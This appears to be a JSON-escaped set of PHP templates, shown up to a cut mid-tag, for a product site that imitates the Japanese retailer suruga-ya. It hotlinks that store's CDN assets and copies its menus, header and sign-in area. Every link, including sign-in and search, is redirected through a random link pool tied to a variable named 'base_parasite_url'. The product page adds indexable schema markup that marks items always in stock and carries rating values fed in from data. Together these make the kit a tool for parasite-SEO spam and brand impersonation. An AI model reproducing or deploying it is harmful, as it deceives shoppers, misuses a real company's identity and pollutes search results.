\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eSmartphone\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eaccessories\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu7\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eHome appliances, cameras, AV equipment\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu7\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eAV equipment\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eCameras and Camcorders\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eHome Appliances\u003c/a\u003e \u003c/li\u003e\n\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu8\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eBooks and Comics\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu8\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003ebooks\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eComics\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003emagazine\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBrochure\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli class=\"has-sub\"\u003e\n \u003cdiv class=\"grid-submenu\"\u003e\n \u003cspan data-target=\"#homeSubmenu9\" data-toggle=\"collapse\" aria-expanded=\"false\" class=\"dropdown-toggle\"\u003e\u003c/span\u003e\n \u003ca onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\" href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\"\u003eDoujinshi\u003c/a\u003e\n \u003c/div\u003e\n \u003cul class=\"collapse list-unstyled\" id=\"homeSubmenu9\" data-parent=\".sidebar_menu\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoujinshi\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eDoujin Software\u003c/a\u003e\u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eMiscellaneous goods and accessories\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n\u003c/li\u003e\n\u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'hamburger_menu','eventLabel':this.href});\"\u003eBL\u003c/a\u003e\u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n \u003cdiv class=\"head_item_menu padT12\"\u003eThose who want to sell\u003c/div\u003e\n \u003cul class=\"list-unstyled components padT0\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eSafe purchase\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eEasy purchase\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eFirst-time users\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n \u003cdiv class=\"head_item_menu padT12\"\u003eStore Information\u003c/div\u003e\n \u003cul class=\"list-unstyled components padT0\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eList of real stores\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eFriendly Shop Store List\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n \u003cdiv class=\"head_item_menu padT12\"\u003eEvent Information\u003c/div\u003e\n \u003cul class=\"list-unstyled components padT0\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'lt','eventLabel':this.href});\"\u003eEvent site\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap top_line6\"\u003e\n \u003cdiv class=\"head_item_menu padT12\"\u003eOfficial SNS\u003c/div\u003e\n \u003cdiv class=\"sidebar_social_list mgnB8 mgnT8 grid-3\" style=\"font-weight: bold;\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n \u003c/a\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"gtag('event', 'footer', {'event_category': 'internal link','event_label': this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/X_black_radius.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e\u003cspan style=\"color: #111111; font-size: 10px; padding-top: 5px; font-family: Arial, 'Noto Sans', sans-serif;\"\u003eHobby Updates\u003c/span\u003e\u003c/div\u003e\n \u003c/a\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/Instagram_Glyph_Gradient.png.webp\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n \u003c/a\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_facebook.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n \u003c/a\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/social_youtube.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n \u003c/a\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer','eventLabel':this.href});\"\u003e\n \u003cdiv class=\"d-flex flex-column align-items-center text-center\"\u003e \u003cimg src=\"https://cdn.suruga-ya.jp/pics/bluesky-1.svg\" loading=\"lazy\" width=\"40px\" height=\"40px\"\u003e \u003c/div\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"sidebar_wrap\"\u003e\n \u003cul class=\"list-unstyled mt-3\"\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eA2 Information\u003c/a\u003e \u003c/li\u003e\n \u003cli\u003e \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'footer_CT','eventLabel':this.href});\"\u003eRecruitment Information\u003c/a\u003e \u003c/li\u003e\n \u003c/ul\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c/nav\u003e\n\u003cdiv id=\"dismiss\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics_webp/common/pc/close_sidebar.svg\"\u003e \u003c/div\u003e\n\u003cdiv class=\"overlay\"\u003e\u003c/div\u003e ","path":"includes/sidebar_complete.php"},{"content":"\n\u003c?php\n// 确保 get_next_random_link 函数可用(在 sidebar_complete.php 之前加载)\nif (!function_exists('get_next_random_link')) {\n function get_next_random_link(array \u0026$data) {\n static $sidebar_link_index = 0;\n \n // Fallback in case the pool is unexpectedly empty.\n if (empty($data['sidebar_links'])) {\n return $data['base_parasite_url'] . '/';\n }\n \n // Get the next link from the pool.\n $link = $data['sidebar_links'][$sidebar_link_index];\n \n // Increment the index and loop back to the start if we reach the end.\n $sidebar_link_index = ($sidebar_link_index + 1) % count($data['sidebar_links']);\n \n // 确保返回完整的URL格式\n if (strpos($link, 'http') !== 0) {\n // 如果不是完整URL,添加基础URL\n $link = $data['base_parasite_url'] . $link;\n }\n \n return $link;\n }\n}\n?\u003e\n\u003cheader\u003e\n\u003cdiv class=\"top_nav\"\u003e\n \u003cdiv class=\"container_suru\"\u003e\n \u003cdiv class=\"row align-items-center text-left\"\u003e\n \u003cdiv class=\"col-3 d-flex justify-content-start align-items-center\"\u003e\n \u003cbutton type=\"button\" class=\"sidebar_suruCollapse navbar-btn\" id=\"sidebarCollapse\"\u003e\n \u003cspan\u003e\u003c/span\u003e\n \u003cspan\u003e\u003c/span\u003e\n \u003cspan\u003e\u003c/span\u003e\n \u003c/button\u003e\n \u003ca href=\"\u003c?php echo $data['base_parasite_url']; ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"\u003e\u003c?php echo $data['domain']; ?\u003e\u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"col-5\"\u003e\n \u003cform class=\"form-inline search-form-top\" action=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" method=\"get\"\u003e\n \u003cdiv class=\"search_top_pc d-flex justify-content-start\"\u003e\n \u003cdiv class=\"select-wrapper\"\u003e\n \u003cselect class=\"form-control\" name=\"category\" id=\"cat-search\"\u003e\n \u003coption value=\"\"\u003eAll products\u003c/option\u003e\n \u003coption value=\"3\"\u003eVideo software\u003c/option\u003e\n \u003coption value=\"4\"\u003eMusic software\u003c/option\u003e\n \u003coption value=\"5\"\u003eToys \u0026amp; Hobbies\u003c/option\u003e\n \u003coption value=\"10\"\u003eGoods and Fashion\u003c/option\u003e\n \u003coption value=\"2\"\u003egame\u003c/option\u003e\n \u003coption value=\"6\"\u003ePC/Smartphone\u003c/option\u003e\n \u003coption value=\"8\"\u003eHome appliances, cameras, AV equipment\u003c/option\u003e\n \u003coption value=\"7\"\u003eBooks and Comics\u003c/option\u003e\n \u003coption value=\"11\"\u003eDoujinshi\u003c/option\u003e\n \u003c/select\u003e\n \u003cinput id=\"search_cat_suggest\" type=\"text\" style=\"display: none\" value=\"\"\u003e\n \u003c/div\u003e\n \u003cdiv class=\"search_box_wraper\"\u003e\n \u003cspan class=\"line_break\"\u003e\u003c/span\u003e\n \u003cinput id=\"txt-search\" class=\"form-control search_top_input\" type=\"search\" name=\"search_word\" autocomplete=\"off\" value=\"\"\u003e\n \u003cdiv class=\"np-keyword-suggest\" style=\"display: none;\"\u003e\u003c/div\u003e\u003cdiv class=\"np-item-suggest\" style=\"display: none;\"\u003e\u003c/div\u003e\u003c/div\u003e\n \u003cinput type=\"hidden\" name=\"searchbox\" value=\"1\"\u003e\n \u003cinput type=\"hidden\" value=\"0\" id=\"check_path\" data-click=\"0\"\u003e\n \u003cinput type=\"hidden\" name=\"is_marketplace\" value=\"0\"\u003e\n \u003cdiv class=\"search_top_btn_wraper\"\u003e\n \u003cbutton id=\"btn-search\" type=\"submit\" class=\"form-control search_top_btn\"\u003esearch\u003c/button\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003cstyle type=\"text/css\"\u003e\n .header_right_display_none{\n display: none !important;\n }\n \u003c/style\u003e\n \u003cdiv class=\"col-4 justify-content-between d-flex align-items-center header_right padL0\"\u003e\n \u003cdiv class=\"safe-search safe-search2\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" class=\"d-flex align-items-center\" data=\"\"\u003e\n SafeSearch Not set\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"d-flex align-items-center justify-content-end\"\u003e\n \u003cdiv class=\"item_right_header padR32\"\u003e\n \u003cdiv class=\"d-flex align-content-center justify-content-center\"\u003e\n \u003cdiv class=\"text-right lineH13 padR4\"\u003e\n \u003cdiv class=\"text-blue font-weight-bold text-login\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003eSign In\u003c/a\u003e\u003c/div\u003e\n \u003cdiv class=\" font-weight-bold text-logout\" style=\"display: none\"\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"text-blue account-name\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003e\u003c/a\u003e\u003cbr\u003e\u003ca href=\"\u003c?php echo htmlspecialchars($data['random_link']); ?\u003e\" class=\"black-link\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header_CT','eventLabel':this.href});\"\u003e\u003csmall\u003e(sign out)\u003c/small\u003e\u003c/a\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv\u003e\u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\"\u003e\u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/user_black.svg\" title=\"user\" alt=\"user icon\" height=\"26px\"\u003e\u003c/a\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item_right_header\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars(get_next_random_link($data)); ?\u003e\" onclick=\"dataLayer.push({'event': 'action_click','eventCategory':'internal link','eventAction':'header','eventLabel':this.href});\" class=\"d-flex justify-content-start align-content-center\"\u003e\n \u003cdiv class=\"sidebar_cart\"\u003e\n \u003cimg src=\"https://cdn.suruga-ya.jp/pics/common/pc/cart_black.svg\" title=\"cart\" alt=\"cart icon\" height=\"26px\"\u003e\n \u003cspan class=\"lbl_cart cart-number\"\u003e0\u003c/span\u003e\n \u003c/div\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class=\"item_right_header\"\u003e\n \u003cdiv class=\"notify\"\u003e\n \u003cdiv class=\"dropdown\" id=\"notification\"\u003e\n \u003cdiv class=\"bell\"\u003e\n \u003cdiv id=\"subscribe\" role=\"button\" data-toggle=\"dropdown\" aria-haspopup=\"true\" aria-expanded=\"false\"\u003e\n \u003cspan class=\"lbl_count\"\u003e0\u003c/span\u003e\n \u003cimg class=\"notification-btn dropdown-toggle\" src=\"https://cdn.suruga-ya.jp/pics/common/pc/bell.svg\" height=\"26px\" alt=\"Notification Bell\"\u003e\n \u003cdiv class=\"stt_Notifi d-none\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"dropdown-menu\" aria-labelledby=\"subscribe\"\u003e\n \u003cdiv class=\"head\"\u003e\n \u003cdiv class=\"row\"\u003e\n \u003cdiv class=\"col-lg-12 col-sm-12 col-12 d-flex justify-content-end\"\u003e\n \u003cdiv\u003e\u003ca href=\"javascript:void(0)\" class=\"read-all-message float-right text-gray-dark\"\u003eMark all as read\u003c/a\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"notify_scroll\"\u003e\n \u003cul id=\"messages\" class=\"list-unstyled notify_scroll\"\u003e\n \u003c/ul\u003e\n \u003cdiv class=\"justify-content-center notify-loading d-flex align-items-center\"\u003e\n \u003cdiv class=\"spinner-border text-secondary m-3\" role=\"status\"\u003e\n \u003cspan class=\"sr-only\"\u003eLoading...\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003cdiv class=\"overlay\"\u003e\u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\u003c/header\u003e ","path":"includes/header_complete.php"},{"content":"\u003c?php\n/**\n * ===================================================================\n * PRODUCT DETAIL - COMPLETE RENDER TEMPLATE (V2)\n * ===================================================================\n * This is the main view file for displaying a single product.\n * It is dynamically populated by `product.php`, which prepares the $data array.\n * This version restores all UI components from the user's original design.\n *\n * @var array $data The associative array containing all product details.\n * ===================================================================\n */\n\n// The $data variable is provided by product.php.\n// The following functions prepare data specifically for this template's needs.\n\n\n?\u003e\n\u003c!DOCTYPE html\u003e\n\u003chtml lang=\"en\"\u003e\n\u003chead prefix=\"og: https://ogp.me/ns#\"\u003e\n\u003cmeta charset=\"utf-8\"\u003e\n\u003cmeta name=\"MobileOptimized\" content=\"width\"\u003e\n\u003cmeta name=\"HandheldFriendly\" content=\"true\"\u003e\n\u003cmeta name=\"viewport\" content=\"width=device-width\"\u003e\n\u003cmeta name=\"theme-color\" content=\"#ffffff\"\u003e\n\u003cmeta name=\"robots\" content=\"index,follow\"\u003e\n\n\u003c!-- Favicon --\u003e\n\u003clink rel=\"icon\" type=\"image/png\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\u003clink rel=\"shortcut icon\" type=\"image/png\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\u003clink rel=\"apple-touch-icon\" href=\"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\u003e\n\n\u003ctitle\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/title\u003e\n\u003cscript type=\"application/ld+json\"\u003e\n{\n \"@context\": \"https://schema.org/\",\n \"@type\": \"Product\",\n \"name\": \"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\",\n \"brand\": {\n \"@type\": \"Brand\",\n \"name\": \"\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\",\n \"logo\": \"\u003c?php echo htmlspecialchars($data['favicon_path']); ?\u003e\"\n },\n \"category\": \"\u003c?php echo htmlspecialchars(end($data['categories'])); ?\u003e\",\n \"image\": \"\u003c?php echo htmlspecialchars($data['default_image']); ?\u003e\",\n \"description\": \"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\",\n \"sku\": \"\u003c?php echo $data['management_number'] + ID_OFFSET; ?\u003e\",\n \"offers\": {\n \"@type\": \"Offer\",\n \"url\": \"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\",\n \"priceCurrency\": \"\u003c?php echo $data['currency']; ?\u003e\",\n \"price\": \"\u003c?php echo preg_replace('/[^0-9.]/', '', isset($data['price']['used']) ? $data['price']['used'] : $data['price']['new']); ?\u003e\",\n \"availability\": \"https://schema.org/InStock\"\n },\n \"aggregateRating\": {\n \"@type\": \"AggregateRating\",\n \"ratingValue\": \"\u003c?php echo $data['rating']['score']; ?\u003e\",\n \"reviewCount\": \"\u003c?php echo $data['rating']['count']; ?\u003e\"\n }\n}\n\u003c/script\u003e\n\u003cmeta name=\"Keywords\" content=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n\u003cmeta name=\"Description\" content=\"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\"\u003e\n\u003cmeta name=\"twitter:card\" content=\"summary_large_image\"\u003e\n\u003cmeta name=\"twitter:site\" content=\"@\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\"\u003e\n\u003clink rel=\"canonical\" href=\"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\"\u003e\n\u003cmeta http-equiv=\"Content-Script-Type\" content=\"text/JavaScript\"\u003e\n\u003cmeta http-equiv=\"Content-Style-Type\" content=\"text/css\"\u003e\n\u003cmeta property=\"og:url\" content=\"\u003c?php echo buildProductUrl($data['management_number'], isset($data['title']) ? $data['title'] : null); ?\u003e\"\u003e\n\u003cmeta property=\"og:type\" content=\"product\"\u003e\n\u003cmeta property=\"og:title\" content=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\"\u003e\n\u003cmeta property=\"og:description\" content=\"\u003c?php echo htmlspecialchars(strip_tags($data['description'])); ?\u003e\"\u003e\n\u003cmeta property=\"og:site_name\" content=\"\u003c?php echo htmlspecialchars($data['domain']); ?\u003e\"\u003e\n\u003cmeta property=\"og:image\" content=\"\u003c?php echo htmlspecialchars($data['default_image']); ?\u003e\"\u003e\n\n\u003c!-- External CSS and JS Dependencies --\u003e\n\u003clink rel=\"stylesheet\" media=\"all\" href=\"//cdn.suruga-ya.jp/drupal/sites/default/files/css/css_YLUY2usEybPXqNO15-ozAgAYsZmniqhrU6f3bp69-r4.css\"\u003e\n\u003clink rel=\"stylesheet\" media=\"all\" href=\"//cdn.suruga-ya.jp/drupal/sites/default/files/css/css_LmUrbIckCDCKvN2_Q3zbp044aJ28BPsL4EcroazBk2w.css\"\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/drupal/sites/default/files/js/js_G878YGhv0pYpg9iZ_hIm3vCCQWyhWgLawk-6b6wmZuU.js\"\u003e\u003c/script\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/lightbox.min.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/product-detail-ex01.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003clink href=\"//cdn.suruga-ya.jp/styles/css/wanderer-fg.css\" rel=\"stylesheet\" type=\"text/css\"\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lazysizes.min.js\" type=\"text/javascript\" async\u003e\u003c/script\u003e\n\u003cscript src=\"//cdn.suruga-ya.jp/styles/js/lightbox.js\" type=\"text/javascript\"\u003e\u003c/script\u003e\n\n\n\u003c/head\u003e\n\n\u003cbody class=\"bg_white_body default_font\"\u003e\n\u003cdiv class=\"dialog-off-canvas-main-canvas\"\u003e\n\n\u003c?php \n// These includes are part of the new template. We assume they exist.\n// If they are missing, they will fail gracefully without breaking the page.\n@include 'includes/header_complete.php'; \n?\u003e\n\u003cdiv class=\"d-flex\"\u003e\n\u003c?php\n@include 'includes/sidebar_complete.php'; \n?\u003e\n\n\u003cdiv class=\"container_suru padB40 flex-grow-1\"\u003e\n\u003cdiv data-drupal-messages-fallback=\"\" class=\"hidden\"\u003e\u003c/div\u003e\n\u003clink rel=\"stylesheet\" href=\"//cdn.suruga-ya.jp/drupal/modules/product_detail/assets/css/new_pc_product_detail.css\" media=\"all\"\u003e\n\n\u003cdiv class=\"row\"\u003e\n \u003cdiv class=\"col-4\" style=\"min-height: 24px;\"\u003e\n \u003cdiv id=\"tag-product-head\" style=\"display: block;\"\u003e\n \u003cspan class=\"tag_product red-head\"\u003eNew\u003c/span\u003e\n \u003cspan class=\"tag_product purple-head\"\u003eArrivals/Restock\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n\u003c/div\u003e\n\n\u003cdiv class=\"row\"\u003e\n \u003cdiv class=\"col-4\"\u003e\n \u003c?php if (!empty($data['images'])): ?\u003e\n \u003cdiv class=\"product-images-gallery\"\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($data['images'][0]); ?\u003e\" rel=\"lightbox\"\u003e\n \u003cimg src=\"\u003c?php echo htmlspecialchars($data['images'][0]); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width:100%; border: 1px solid #ccc;\"\u003e\n \u003c/a\u003e\n \u003cdiv class=\"thumbnails\" style=\"margin-top:10px;\"\u003e\n \u003c?php foreach($data['images'] as $index =\u003e $image): ?\u003e\n \u003c?php if($index \u003e 0): ?\u003e\n \u003ca href=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" rel=\"lightbox\"\u003e\n \u003cimg src=\"\u003c?php echo htmlspecialchars($image); ?\u003e\" alt=\"\u003c?php echo htmlspecialchars($data['title']); ?\u003e\" style=\"width: 24%; border: 1px solid #ccc;\"\u003e\n \u003c/a\u003e\n \u003c?php endif; ?\u003e\n \u003c?php endforeach; ?\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c?php endif; ?\u003e\n \u003c/div\u003e\n \n \u003cdiv class=\"col-8 padL32\"\u003e\n \u003cdiv class=\"zoom_window\"\u003e\u003c/div\u003e\n \u003cdiv class=\"d-flex justify-content-start\"\u003e\n \u003cdiv class=\"w-70 pr-5\"\u003e\n \u003ch1 class=\"h1_title_product\" id=\"item_title\"\u003e\u003c?php echo htmlspecialchars($data['title']); ?\u003e\u003c/h1\u003e\n \u003cdiv id=\"naviplus-review-list-5\" class=\"mb-4\"\u003e\n \u003cdiv 